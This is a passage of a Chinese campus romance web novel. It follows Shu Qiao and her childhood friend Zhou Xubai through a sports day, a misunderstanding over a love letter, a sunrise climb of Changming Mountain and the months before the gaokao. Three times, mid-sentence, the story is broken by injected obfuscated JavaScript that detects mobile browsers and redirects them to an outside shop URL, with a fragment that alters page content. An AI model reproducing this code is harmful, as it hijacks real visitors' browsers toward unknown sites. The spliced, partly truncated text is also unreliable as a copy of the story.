“这个也不行。我没力气。中考体考就铅球拖了我后腿,害我没拿到满分。” 大壮又推荐了五十米短跑。 刘刘又说:“我反射弧太长了,也不行。” 接二连三的拒绝,大壮也明白了,毫不客气戳穿,“你是不是不想参加?” 刘刘戳了戳手指,有点不好意思道:“可以吗?” “不可以!” “让男生参加嘛!我们小女生哪里运动得起来。”刘刘拜托他。 大壮也很委屈道:“班上一共十个男生,都报完了。还有一项篮球比赛,我都去理科班借了两个男生了。刚给你说的都是女生的项目……” “找班长……”刘刘指了指接水回来的舒乔,打算祸水东引。 舒乔这个班长,不是民意选出来的。都是老师钦点的。只因为开学那天,舒乔第一个到教室,新班主任让她帮各种忙,最后在晚自习上直接点名她当班长。 舒乔当时一愣,为草率的任命班委的方式。 对上刘刘的视线,舒乔说:“别找班长了。班长已经把能报的都报了。” 身为班长,报名单一下来,她就被大壮盯上了,理由是,班长要起带头作用。 舒乔没得理由拒绝,认命的在自己会的项目写下名字。 “啊!这……这……这……”刘刘一时说不出话来,急得黑漆漆的眸子转了又转。 舒乔拿过大壮手上的报名表,左手搭在她肩上,极郑重问:“是不是好姐妹?” “是!”刘刘回答得很响亮。 “那要不要支持一下姐妹工作!” “这……还是要吧。”方才声若洪钟,此刻声若蚊蝇。 不过,结果是好的。刘刘最终报名了三级跳和接力赛。 大壮心满意足地接过报名表,又转身去求另一个女孩子。 那大块头求人属实有点骇人,那女孩怯怯地接过笔在铅球那一栏写下了自己的名字。 这场景,有点像不法分子收保护费呀! 文科班报名艰难,但大壮磕磕绊绊的完成了任务,报名表交给老班的时候,老班拍了拍他的肩,“不容易呀!你辛苦了。” 大壮说:“不辛苦。老师,我感觉我命有点苦!” 运动会将在三月中旬举行。但准备工作正如火如荼的展开,肉眼可见的,操场上训练的人变多了。 为了不给班级丢脸,吃完晚餐后,舒乔和刘刘也会去操场上动一动,周叙白则做指导老师,时不时纠正一下她们的动作。 半个小时后,两个女孩子汗流浃背,十分同步地摆手,一前一后说:“算了算了。” 周叙白好笑,“不挣荣誉了?” 他将一叠纸巾递给舒乔,舒乔分了一半给刘刘。 舒乔说:“没有这个天赋。什么荣誉不荣誉的,都不重要了。文科班嘛!是这样的。” 刘刘手撑着腰苟着身子说:“赞同!很赞同!” 休息一阵后,刘刘要去英语老师办公室一趟,周叙白送舒乔回教室。 路上,周叙白说:“舒乔乔,今晚不能和你一起回家了。” “为什么?”从小到大,他们分开回家的次数屈指可数。 “运动会嘛。晚上要去体育馆训练篮球。” “我等你。”她不习惯一个人回家,她喜欢周叙白走在她后面,那样很有安全感。 周叙白不同意。 他说:“练完都要十一点了,回去很晚了。阿姨会担心。” “我给妈妈说。”她要去找老班借手机。 “不许!”周叙白摸摸她的头,“舒乔乔,你听话。你熬不了夜。睡晚了起不来,又得给你抄课文了。” “好吧。”舒乔同意了。 晚自习下课,周叙白送她出校门,等她上车了才折回体育馆。 可当他才做完热身运动,就瞧见楼梯上,一个小身板鬼鬼祟祟的。 他走上前,把人给揪下来,沉着声音叫她:“舒乔乔。” 舒乔讨好地笑笑,乖乖道:“已经给妈妈说过了。出租车叔叔没收我回来的钱,我还剩了五块钱。” 她把原本坐车的五块钱拿给他看,笑眯眯道:“一会儿给你买水喝。” 周叙白一言不发的看着舒乔,舒乔知道他生气了,扯了扯他的衣袖,“周叙白,想和你一起回家。” 心跳加速仅仅是在一瞬间,周叙白冷酷的表情柔和了下来,无奈地道了一句:“败给你了。” “嘿嘿。”舒乔笑起来。 周叙白接过她的书包,带她到自己放东西的地方。 舒乔刚坐下,周叙白的队友就喊他的名字,他没理,对舒乔说:“我的书包里有你最爱吃的小零食以及上回你还没看完的漫画书。饿了就吃,无聊就拿来看。知道吗?” “知道知道,”舒乔应了一声,挥挥手让他走,“他们都等着你呢。” “行。那我过去了。” 周叙白下了台阶,跑回了队伍里。 舒乔撑头,翻着漫画书,看得精精有味。 周叙白在篮球场上奔跑,投球,一气呵成。 他们都做着自己喜欢的事,互不干扰,却又分外和祥。 一场打完,周叙白大汗淋漓回到看台,舒乔拧开盖子,把水递给他。 她正要和他说说话,一道声音从他背后响起,“你也爱看这个?” 她微微侧身看去,是一个肤色白皙的男孩子。 他向她挥挥手,很自来熟地说:“我叫唐沂蒙,是他的同桌。” 沂蒙。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126640|196104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>舒乔想到了沂蒙山小调,问他:“你们家有人当兵吗?” “嘿,还真说对了。我爷爷是老红军,最喜欢听沂蒙山小调了。所以我叫唐沂蒙。” “很有纪念意义的名字。” “我也觉得。” 舒乔就这样认识了唐沂蒙。 一个同样喜欢看漫画的男生。 他们的爱好高度契合,碰在一起有说不完的话,成天围在周叙白的身边,像两只叽叽喳喳的小麻雀。 周叙白有点烦,不是被他们吵得烦,而是舒乔提起他的频率越来越高—— “唐沂蒙今天带来的那本漫画书已经绝版了,市场上买不到了!这厮真坏,故意带来眼馋我。” “唐沂蒙好小气。那么多绝版漫画书,一本也不肯借给我。” “唐沂蒙好烦。今天在楼道口撞了我,居然没说对不起。” “唐沂蒙这人太坏了。他居然诋毁我最喜欢的一个漫画男主!我诅咒他投篮一个不中。” “……” 唐沂蒙。一声又一声唐沂蒙,使得周叙白的脸色逐渐苍白。 他想起了上周发生的事。 教导主任在小树林里抓住了一对谈恋爱的小情侣。 周叙白知道他们。原是互相看不对眼的死对头,但不知道中间发生了什么事,让两人走到了一起。 好相似的故事。 但周叙白不敢往下想。 他克制住自己的情绪,叫住舒乔,对她说:“高中一定要好好学习。” “啊?”舒乔一脸茫然地看着他。 他又重复了一遍:“舒乔乔,高中只准努力学习。不准想其他事,不然我要向阿姨告状。” “你在说什么?” 舒乔不理解,完全不理解,怎么就扯到学习上去了? 周叙白仍说:“努力学习。” “额——” 那一天,周叙白疯了一般重复“努力学习”这四个字,像是对舒乔洗脑一般,要她在高中六根清静。 渐渐地,舒乔不再提起唐沂蒙。但周叙白并没有松一口气,他发现舒乔的情绪很低,总是发呆,总是走神,甚至周叙白和她说话,她也心不在焉的。 周叙白想让她开心,使了很多招哄她,可她的情绪还是不高。 直到某一天,背着书包的唐沂蒙从他们面前路过,周叙白注意到舒乔死一般沉的目光亮了起来。 他的心脏在那一刻停止跳动,他难受得要死,紧紧握住了拳头,调整呼吸。 很久后问:“你很喜欢他吗?” 舒乔点头:“喜欢呀,没有一个女孩子能不喜欢他。” 周叙白无法将那一瞬间的情绪说出口,他咬紧了唇快哭了。 他加快了回家的步伐,头一次走在了舒乔的前头。 “你怎么了?”舒乔追着他,想看看他。 他不给看,努力让自己的声音正常,回她:“没怎么。就是想快点回家。” “好好好,那我也走快一点。” 那一晚,周妈妈见到了一米八几的周叙白抱头痛哭。 她递上纸,很有经验地问:“和乔乔闹矛盾了?” 周叙白摇头,一边抽泣一边说:“被一只拦路虎抢了!” “啥?”周妈妈一头雾水。 12. 给我写情书 什么是喜欢? 什么是爱? 刘刘说:“喜欢就是。想着他,念着他。无时无刻都想缠着他。想和他结婚,想和他到老。爱就是还想和他有下一辈子。” 听了她的答案,舒乔忍不住道:“诗经说,士之耽兮,犹可说也。女之耽兮,不可说也。” 意思是男子沉迷爱情,还能脱身,女子沉迷爱情,则无法摆脱。 刘刘摆手,连说三个“NO”,并告诉她:“你如果这样想,就体验不到什么叫喜欢,什么叫爱了。” “为什么?”舒乔不太理解。 刘刘讲:“喜欢是冲动的,爱也是冲动,多巴胺分泌,上头的那刻,恨不得把命都给对方?” 舒乔觉得这样不正确,喜欢和爱固然冲动,但人还是需要保持理智,不能沦为欲望的囚徒,不然激情退却后,就什么也不剩了。 “你,”刘刘突然提高了分贝,很震惊地看着她,“你是不是有喜欢的人了?” “我?” “嗯嗯。” “没有。只是想问一问而已。” “真的?”刘刘半信半疑,眼底满是探究,好像在分辨她是否说慌一样。 舒乔发誓:“保真!而且,高中生谈什么恋爱呀!努力学习才是硬道理。我始终觉得,当一个人足够优秀时,想要什么都能得到。” 刘刘打趣起来:“舒乔乔,深藏不露呀!你这野心可不小。” “是挺不小的。况且,对一个女孩子而言,野心从不是贬义词。” 舒乔觉得,有野心的女孩子是美好的。 并且,女孩子应该站在各个行业,掌握话语权,制定规则。 “你想得到什么?”刘刘问。 她撑着头想了想:“现在最想得到所有绝版漫画。你知道周叙白那个同桌吗?” “知道,”刘刘说,“唐沂蒙是吧。” “嗯,”舒乔一脸艳羡,“你知道吗?他有好多绝版漫画,真让我嫉妒呀!” 音落,她又接着说:“上周,就上周,我和周叙白回家,他从我们面前路过,我看见他手上拿着杀生丸手办。这可是我男神之一呀!好喜欢那个手办!” “喜欢就买呗。” “买不到。”舒乔有些丧气。 “什么意思?” “我也不知道怎么给你解释。就是能买到我肯定买了。只有买不到才能让我羡慕嫉妒。” “好吧。和你这个漫画迷没话说了。” 刘刘禁了声,埋下头写数学卷子,舒乔也收了心思,着手学习。 一天时间很快过去,第三节晚自习结束,舒乔收好书包赶到校门口。 周叙白照旧拿过她的书包,递上烤年糕,但舒乔总觉得他这些天怪怪的。 譬如,和他说话的时候,他答着,却心不在焉,偶尔还会发呆走神,问他怎么了也不说,反正就打哈哈过去。 难道是学习学糊涂了?重点班的任务一向重,听刘刘说,一天的卷子都能堆成一座小小的山。 应该是压力太大了。 舒乔想让他舒缓一些,提议:“我们跑会儿步去?” 周叙白有些诧异地看向她:“我没听错吧!” 太阳打西边出来了? “没听错,”舒乔把手上的东西扔进垃圾桶,拉着他的袖子,“前面正好有个小公园,去哪里跑两圈回家。” 周叙白盯住她的手,点了点头。 他们到了公园,把书包放在椅子上,活动了一下手脚后,慢慢跑起来。 转角时不巧地遇到了唐沂蒙。 “好巧呀。你们也在这儿跑步。”唐沂蒙热情地打招呼。 舒乔笑了一下,“是挺巧的。” 没想到他也在这儿。 周叙白没说话,目光在他们之间转了转,心思百转千回。 舒乔打小就不爱运动,主动提及运动的次数屈指可数。 可今晚……她说跑一跑,还特地要到这个小公园。 又这么巧的碰到了唐沂蒙。 她笑得好开心,嘴都快咧到脑后了。 她真就这么喜欢他吗? 为了见到他,可以做出这样大的牺牲吗? 周叙白的心脏像有万千蚂蚁啃食着,难受到快要窒息。 士之耽兮,犹可说也。女之耽兮,不可说也。 这句话并非完全正确。 他沉溺其中,摆脱不出来。 看着他们交谈,他控制不住嫉妒心,开口道:“我不想跑了,走了。” “欸——” 舒乔忙转身,跟上他的脚步,“周叙白,你究竟怎么了?” 刚才还跑得好好的,不发呆了,不走神了,也开始笑了,怎么就一会儿功夫又变成这样了? 男人也会有经期吗? 舒乔只有来经期的时候会这样,心情大起大落,喜怒无常。 “没怎么。”口吻冷淡。 “可你最近很奇怪。” 周叙白吸了一口气,平复心情:“我知道我最近很奇怪。对不起,舒乔乔。我也不想这么奇怪的,我克制不住。我失控了。我……” 周叙白又想哭了。 可他不想让舒乔看见。 他背过身去,低声说:“舒乔乔,回家吧,我有些累了。” “好。” 他走前头,她走在后头。就像每次她心情不好的时候,他安静地不打扰,默默陪伴着。 这一晚,周叙白又哭了,一边接过妈妈递来的纸,一边说:“她真的好喜欢那个男孩子。妈妈我该怎么办?” 周妈妈说:“喜欢这种事强求不来。小白,实在太难过的话,不如选择放手。成全也是一种爱。” 周叙白保持沉默。 几天后,又是下课回家的路上,周叙白仿佛下定了很大的决心一样停住脚步,面对舒乔说:“如果你真的很喜欢他,我帮你。” “什么,你说什么?喜欢……” 喜欢他? 这个他是谁? 舒乔还没来得及将疑惑问出口,周叙白就说:“追男孩子我建议从写情书开始。当然,情书文笔要好才能打动人。舒乔乔,我不知道你写情书的水平,你要是不介意的话,先给我写一封情书,我看看水平,你再写给他。到时候,我帮你送。” “啊——”舒乔完全在状况之外,根本没明白他在说什么。 怎么就扯到情书了! 这……荒唐了吧? 她不说话。 周叙白也不愿自讨没趣,道一声算了,讲:“你要是不愿意拿我练笔,直接给他写也行。” 他承认他方才那番话存了心思在。如果不能得到她的喜欢,那就让他拿到她写的第一封情书吧。这样就可以欺骗自己,没有遗憾。 可他还是不好受,心脏太疼了。真的好疼。 舒乔乔怎么就喜欢上别人了。 明明他们才是青梅竹马呀! 他都想了好多年了,把未来想得明明白白,只要高中毕业,只要满十八岁,只要考上大学,他就表白,他就追求她。 可她有喜欢的人了。 他没机会了。 又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126641|196104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要哭了。 丢脸,真丢脸。 周叙白转过身。 月色皎洁,偶有的蝉鸣,到不至于叫氛围太过沉默。 良久,舒乔的声音响起,她说:“你很想要封情书吗?” “嗯。” “好啦,写给你就是了。” 周叙白抬头看着她。 舒乔又重复了一遍:“我说,我给你写情书。” 周叙白一下子就笑了,那模样很不值钱。 当天晚上,舒乔翻出自己珍藏的印花纸,拿了最顺手的笔,写下—— 亲爱的周叙白: 见字如晤。 我该怎样来形容我们的初见呢?那时候太小了,记不清楚了。可我有记忆的是…… 这封情书一气呵成,整整写了三页纸,停笔那刻,时针与分针合在一起指向十二。 而她,在夜深人静之时,听到了自己的心跳声。 什么是喜欢? 什么是爱? 在这一刻,她好像摸到了一点飘渺的踪迹。 说不清,道不明,痒痒的,有些不好受,但剖开后,又有一点甜。 真上瘾呀! 舒乔想。 那一晚,她失眠了。 第二天,情书递到了周叙白手上, 他眼里闪过一丝惊讶,踟躇着,不敢伸手接,傻傻地问:“真给我吗?” “真的。” 周叙白偷偷掐了一下自己,痛感传来,才敢信是真的,伸手接过。 不敢看,攥在手心,很紧,生怕掉了。 “舒乔乔,我……”莫明一丝尴尬。 舒乔停下了脚步:“我……周叙白,我不知道你说的喜欢他这个他是谁。我也不知道你为什么要帮我追他。我……有些迷糊,你可以帮我解释一下吗?” “啊?”周叙白石化掉了。 很久,真的很久后才说:“你不喜欢唐沂蒙吗?” “啥?我喜欢他?谁传的。” 我。 周叙白默默在心里说。 但肉眼可见的,他开心起来,还有些激动道:“是个误会。” “就这一句话把我打发掉了。” 也太轻易了。 “舒乔乔,真的是个误会。”他笑得嘴都要咧开了。 而后莫名其妙地跑了几步,又回头抱住她,“舒乔乔,还好是个误会。” “你松一点,喘不过气来了。” “好好好。” 他松开她,两个人的心跳加速,像坐了刺激的过山车,四目相对,又如触电一样离开。 “情书……”舒乔先开口。 周叙白立马揣兜里,大声道:“我是不会还给你的。” 她也没想过叫他还。 她想说的是,叫他好好看。 算了,这是个呆子! 多年以后,旧事重提,舒乔问呆子:“你究竟是怎么误会我喜欢唐沂蒙的?” 周叙白说:“你们有共同的爱好。你越来越爱提他的名字。你还有一段时间很失落,却在见到他时笑。我问你是不是很喜欢他。你说,没有女孩子会不喜欢他。” 前面那些,舒乔没印象,但那句话话,她记得清楚。 “我以为你说杀生丸手办。” “什么?”周叙白一脸懵。 舒乔说:“就是那天,唐沂蒙路过时,手上拿着杀生丸的手办。我以为你问的是我喜不喜欢那个手办。” “额……当时完全没想到。”周叙白讪讪地说。 舒乔真是又气又笑。 13. 长明山上有神灵 孔子说:“逝者如斯夫,不舍昼夜。” 仅仅是眨眼间的功夫,高二的暑假过完,高三正式来临。 不过是开学第一周,考试就像家长便饭,疲惫、紧张、压力大,像一座大山,压得人喘不过气。 就在昨天,一个女孩子因为随堂测试不理想,崩溃大哭,跑出了教室,不知所踪。 她的班主任急得四处寻人,闹到全校皆知。 于是,在周一的集会上,教导主任强调—— “高三了。我知道同学们的压力大。但也不能做出一个招呼不打就跑出的事儿。压力大,可以通过科学的办法排解。譬如和班主任或者同学聊天,又或者找学校的心理老师……” 话是这么说,可这个年纪的孩子真有压力了也说不出来,只会默默憋在心里。譬如刘刘。 这是舒乔第二次发现她坐在操场的小角落里掉眼泪了。没有大声的喧哗,只是默默地坐在那里,泪水似珍珠断线,一颗一颗落,让人看着难受。 她见不得这画面,走了上去,把她抱在怀里,轻轻地拍着她的背:“你已经很厉害了,不要再给自己压力了。” 刘刘哽咽道:“可我离槐安政法大学还差了好多分。” 槐安政法大学,刘刘的梦中情校。 她的理想是当一名律师。 “其他政法大学也行。咱别吊死在一棵树上。” “可我就喜欢它。” “那你别哭了。我给你想想办法。”舒乔说。 刘刘仰头,期翼地看着她:“你能有什么办法?” 舒乔想了想说:“我给你拿周叙白的数学笔记。” “还不如请周叙白给我们补习呢。”刘刘呢喃。 舒乔撑着脑袋,眼神放空:“我也想呀。可他太忙了。你知道他们现在有多变态吗?每天都在模拟考。他累得连话都不想说了。” “没办法,他们是顶尖的顶尖。要是今年他们班全考上槐安大学,那又是学校的一张招牌了。” “可是,成绩就这么重要吗?” 舒乔忽然不明白读书的意义了。 将青春正好的少年终日困在四方的天,刷着永远不可能刷完的题,只用一场考试定生死。 这期间还会伴有各种不可控因素,只要有一个环节出了差错,结果都会不如人意。 “这是普通人唯一的敲门砖。” 刘刘看向远方,一行飞鸟掠过,没有留下一丝痕迹。 高考,普通人唯一的敲门砖。 知识,改变命运的最有效途径。 舒乔抬头,看着天边橘红色的夕阳。 它慢慢沉沦,渐渐日光黯淡,暮色降临。 但黑夜之后,又是璀璨的光明。 希望他们都有坦荡的未来。 高考倒计时一百八十天,刘刘因压力过大,发烧进了医院,一躺就是一周,回来时成绩下滑,更加刻苦学习。 高考倒计时一百六十五天,年级上又有一个同学因成绩不理想奔出了教室,搞得学校人仰马翻,四处寻人。 高考倒计时一百四十天,舒乔心态崩溃,抱住妈妈爆哭,说不想学习了。 舒乔妈妈心疼女儿,第二天去学校为她请假一周,调整心态。 平静后,舒乔重返学校,落下的东西慢慢回补。 高考倒计时一百天,舒乔和周叙白在走廊上看星星。 突然,她侧头看着他的脸说:“周叙白,我们去长明山上拜神灵。” “逃课吗?”他问。 她点头。 他握住她的手腕,一如初三那年笨出学校。 这一次,倒是给妈妈们打了电话,让他们帮忙请假,夜爬长明山。 长明山上有神灵。 因为山顶上有一座神灵庙。 所以山脚葬满了想求神灵庇护的亡魂。 舒乔不信鬼神,可临近高考了,还是想去山顶拜一拜。 妈妈说,长明山上的神灵庙最灵,许过的愿,总能实现。 巍峨的高山,辽阔没有边际,山脚有很多人,有一部分人和他们有着相同的目的地,另一部分的人则是为了去山顶看日出…… 周叙白握着她的手腕,混在人群里,带着她向上爬。 一直到半山腰,舒乔没喊过一次累,只是不停地喘气,一副要窒息的模样。 周叙白找了一块空地让她坐下,又拧开水给她喝,她缓了一会儿后讲:“真要了我的命了。” 没有运动细胞的人爬山,堪比让游泳的去跑步,根本不在一个频道上。 “胡说什么呢?”周叙白捂住她的嘴,神情严肃:“呸呸呸,神灵在上,不准说这样的话。” 要了命! 太不吉利了。 舒乔扒开他的手,凑到他眼前:“周叙白,看不出来呀,你这样迷信。” “我不迷信。但有些东西不得不信,”他盯着她,“舒乔乔,不要说这样的话。我不喜欢听。” “好好好,”舒乔学着他的样子呸呸三声,“这样神灵就不计较了。” 周叙白的心情这才由阴转晴,笑着问她:“要吃饼干吗?草莓味儿的,你的最爱。” “要。” 周叙白从背包里拿出饼干,放到她手上。 舒乔撕开包装袋,拿了一块儿,还给周叙白,“剩下的给你吃。” 周叙白有一丝意外,“我没听错吧。护食大王舒乔乔居然把最爱吃的东西分给我。太阳打西边出来了?” “想讨打是不是?”舒乔横了他一眼。 周叙白做了个求饶的动作。 等他吃完饼干,舒乔嘿嘿一笑说:“山上有素食,我妈说可好吃了,我想吃那个。” “我就说嘛,事出反常必有妖,难怪呀,那么大一份饼干全给我了。” “还说?”舒乔凶凶地看着他。 周叙白赶忙道:“女王大人饶命。” “小周子,扶本宫起来。”舒乔伸出手,像清宫戏里的太后。 周叙白道了一声“嗻”,装模作样扶她起来。 舒乔一下子破功,笑得花枝乱颤,周叙白也忍不住笑。 两个人闹腾了一阵,继续向上爬。 早晨六点钟零五分,他们登上了长明山山顶。 一抬头,晨光咋破,犹如佛光显现,沐浴人间。 长明山的风吹动了舒乔的发梢,周叙白低头,为她拂到耳后。 “舒乔,这是我们第一次一起看日出。”他看向她的双眸里,温柔多到要溢出来了。 她笑,张开双手,叫他:“周叙白,要抱一下。” 他走向她,将她拥在怀中。 这画面被一个穿白衬衫、戴金框眼镜的男人用相机定格。 男人低头看了眼照片,抬头正想找那两个小朋友时,却没见到他们的影子了。 还想说把照片给他们的。看来没那个缘分。 男人放下相机,往山顶某一处地方去。 舒乔和周叙白看过日出后,去到神灵庙。 庙宇不大,主殿供奉着观世音菩萨,两个侧殿供奉着地藏王菩萨和文殊菩萨。 他们去主殿,拜观世音菩萨。 菩萨低眉,望着芸芸众生。 他们一块儿跪在大殿里的蒲团上,双手合十,许下心愿,虔诚三叩。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126642|196104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >离了主殿,舒乔带着周叙白一路打听,来到卖素斋的地方,却被和尚告知,最后一份素斋已经被一个男人买走了。 “呐,就那个,”和尚指了指人群里穿白衬衣的男人,“他戴了眼镜,很儒雅的长相,实在想吃的话,可以和他商量一下。” 周叙白道了谢,追了上去,舒乔紧跟其后。 男人看着眼前的小青年,很和善地问道:“有什么事吗?” 周叙白不好意思道:“打扰你了,叔叔。我就是想问问,可以把这份素斋转卖给我吗?我朋友很想吃这个,吃不到会哭。哭起来很麻烦。” 舒乔在一旁双手合十,一双杏眼湿漉漉的,像是印证周叙白的话,甚至,为了让男人大发悲悯之心,她还可怜兮兮地说:“叔叔,求你了。” 男人有些为难:“我私心里很想给你们的。但我的妻子怀孕了,她很想吃这个。我要是空手而归,不光要让她伤心了,还要让宝宝伤心了。所以,分你们一半可以吗?” “不用了,”舒乔谢过他的好意,“还是给您妻子吃。我们下次来一样的。” 她还没馋到要和一位孕妈妈抢吃的地步。 妈妈怀孩子的时候很辛苦的。 要感激妈妈。 男人讲:“分一半没关系的。我妻子最喜欢你们这个年纪的小朋友了。她很乐意的。” 一份素食套了两个袋子,男人取下一个袋子分了一半递给舒乔。 舒乔不好意思接。 男人说:“小姑娘,别害羞。我妻子很想要个女儿,就像你这样可爱的。你拿着,吃完后帮我祈祷,保佑我们愿望成真,好吗?” “好。”舒乔不再推辞,接过后又是几番道谢,还说,“我这就去主殿再求求菩萨,保佑您有一个漂亮可爱的女儿。” “好,谢谢你。”男人笑言。 舒乔转身,拉着周叙白当真要返回主殿,方走两步,被男人叫住:“我想起了一样东西。” “和我们有关吗?”周叙白回头问。 “嗯,你们过来,”男人说完,打开相机,调出一张照片,展示给他们看,“是你们吗?” 一张在日出下拥抱的照片,构图极美。 周叙白惊喜道:“是。” 他当时还可惜没带相机,没能记录呢! “你们想要这张照片吗?”男人问。 “要。”周叙白兴冲冲讲。 “那留个联系方式?” 周叙白拿出纸笔写下自己的电话号码递给男人。 男人看了一眼,放进兜里,拿出一张名片,“这上面有我的联系方式。我洗好后会给你们打电话,要是我忘了,请你提醒我一下。” 周叙白接过,上面写着“姜清石”三个大字,下名则有一串号码。 “这名字好眼熟。”周叙白嘀咕一句。 “我看看,”舒乔拿过,呆了一会儿,瞬间激动地看向男人,“你是姜清石律师。大名鼎鼎的姜清石律师吗?我同桌是你的粉丝,你可以帮我签个名,写一句鼓励的话吗?” “可以。” 舒乔拿过周叙白手上的纸笔给他,姜清石问:“小朋友,要写什么?” 舒乔思考了一会儿说:“祝她所愿皆成可以吗?她也想做一名律师,和您一样的律师。” “好,那写这个。” 姜清石写完,将纸笔还给舒乔。 “我得回去了。还有一个小时,我的妻子该醒了,见不着我,她得担心了。” “好,再见。”周叙白向他挥手。 舒乔大声说:“您一定会实现梦想的。” 姜清石回头,再次道了声谢谢,走下山去。 14. 进击吧,少年 “你说这是姜清石亲手写的祝福。”刘刘握着纸条,激动到无以复加,“我偶像……亲手给我写的!” “对!保真。绝对保真。我亲手递的纸笔,他亲自写下。本人好儒雅,饱读诗书,一点也没有上法庭犀利。” “啊!啊!啊!舒乔乔,我要死了。羡慕得要死。我也想亲眼见见偶像。不管了,等我高考结束。我天天去夜爬长明山。” 刘刘把纸条捂在心脏处,闭着眼,像是吸收天地精华,然后来了一句:“我现在浑身充满力量,能一口气刷十套数学卷子!绝对能上槐安政法大学。” “我有一个问题?”舒乔讲,“姜清石貌似是槐安大学毕业的吧。你怎么想着考槐安政法?” 虽然后者也是好学校,甚至更专业,但要论知名度,肯定是槐安大学。 “是个好问题,”刘刘说,“槐安大学我梦里能上,槐安政法大学我努努力还是能够上。” 不是不想,而是有些东西不是她想就能行的。 舒乔鼓励她:“不要妄自菲薄,万一呢?” 凡事总有个意外不是吗? 耶克斯·多德森定律就讲,中等动机最有利于学习。 换言之,意外发生的可能形很大。 “万一的话,”刘刘双手撑头,开始幻想起来,“要真考上了槐安大学。我一定要考黎元任的研究生。” “你知道他吗?”刘刘看向舒乔。 舒乔摇头:“不知道。” 律师距离一个不出意外的家庭是很遥远的。 刘刘讲:“他是姜清石的师傅。知名大牛,有几场轰动全国的大案都是他做辩护律师……” 讲到自己擅长的领域,她浑身都散发着自信的光芒。 舒乔不想磨灭这份自信,一直听她讲,直到下课铃声响起。 她有些懊恼,看着一个字都未动的数学卷子说:“哎呀,讲多了。” 舒乔拍拍她的肩:“就当放松了。” 题是刷不完的! “有道理!但不能这样了,剩下的等考完再和你说吧。” 高考才是目前唯一的大事。 “好。” 他们安静下来,各自做各自的事,但舒乔的心思不在书本上,她有些迷茫,大学该学什么呢? 好像人人都有方向,只有她还没想明白。 光阴渐渐黯淡,夜幕降临,时间就在不知不觉中过去。 放学铃声响起,舒乔背着书包出校门。 周叙白站在老位置等她,但今天多了一辆自行车,就因为昨天她说了一句:“晚上不想走路回家了。” 她把书包放在前面的篮子里,坐上后排,握住周叙白腰间的衣服,看着两遍倒退灯影,晚风吹拂她的头发。 她周叙白:“你未来想做什么呀?” “工程。喜欢这块儿。” 她看不见他的脸,但知道,他讲这话时,一定是带着笑得。 周叙白对于自己的人生规划一直有着清晰明确的目标。 “那我呢!我应该学什么呢?”她靠在他的背上,闷闷地说,“妈妈想让我学设计。可我不喜欢这个。我想……” 她把十八年的人生过了一遍,最后说:“想当老师。想教小孩子。” “那就当老师好了。报师范,以后我要叫你舒乔老师。” “舒乔老师——”她呢喃这个称呼,不自觉地弯起了嘴角,她喜欢。 距离高考三十天的时候,第三次模拟考试成绩出来,所有同学都取得了自己理想的成绩,顿时信心百倍,更加努力学习,做最后的冲刺。 舒乔和刘刘再也没像从前吃了晚餐去操场散步,而是回到教室,背着文综。 文综三百分,要考到二百多才能够大她理想的院校——槐安师范大学。 为什么是这一所? 她喜欢学校里旧教学楼墙上密密麻麻的爬山虎,喜欢那个有百年历史的图书馆,以及鸳鸯湖边的柳树…… 可是好累呀!她背到恶心想吐。 这个大学,就非上不可吗? 她趴在桌上,埋头在双手之间,压力大到想哭。 可总要学下去,留给她的时间并不多。 高考还有二十天。学校不再进行组织任何考试,老师也不再授课,都端了小桌子坐在走廊上,随时为学生答疑。 而这时的舒乔产生了厌学症,一看到卷子就头晕脑胀。这是一种心理障碍,源自人自己给自己的压力。 她终于忍不住,爆哭了一场,吓坏了教室里的同学。 舒乔在他们眼中是最坚强的,这是他们第一次见她这样哭,嚎啕大哭,没有一点形象可言。 这天,班主任找她谈话,帮她缓解压力。 她好受了许多,转头继续学习。 距离高考十八天的时候,她接到一个陌生电话,男人声音温润,他自报家门:“小姑娘你好。我是姜清石,我们在长明山见过。很冒昧给你打来电话,但我觉得还是应该同你说一声。我的孩子今天出生了,是个女孩儿。我妻子高兴坏了,给她取名叫姜满,小名穗穗。我们觉得是你那天的祈祷让我们如愿以偿,所以想谢谢你。” 舒乔笑了起来,“她有多重。我可以看她吗?等高考结束。” 姜清石说:“随时欢迎。我们把这份心想事成的好运传给,希望你在高考中取得优异的成绩。” “谢谢你,姜叔叔。” 挂了电话后,舒乔看了一眼日历,小满。 今天是二十四节气之一的小满。 小满胜万全。 所愿皆所得。 距离高考还有十天,同学们开始派发同学录,舒乔收到了一叠,她寻了一个空闲时间,挨个写下。 写的时候脑海里浮现出三年光阴,离别的苦涩充斥全身,比小学、比初中都难受,因为投入太多了。 “好舍不得呀。”刘刘扭头看向窗外,飞鸟穿过了夕阳,去了远方。 他们也即将奔赴不同的人生。 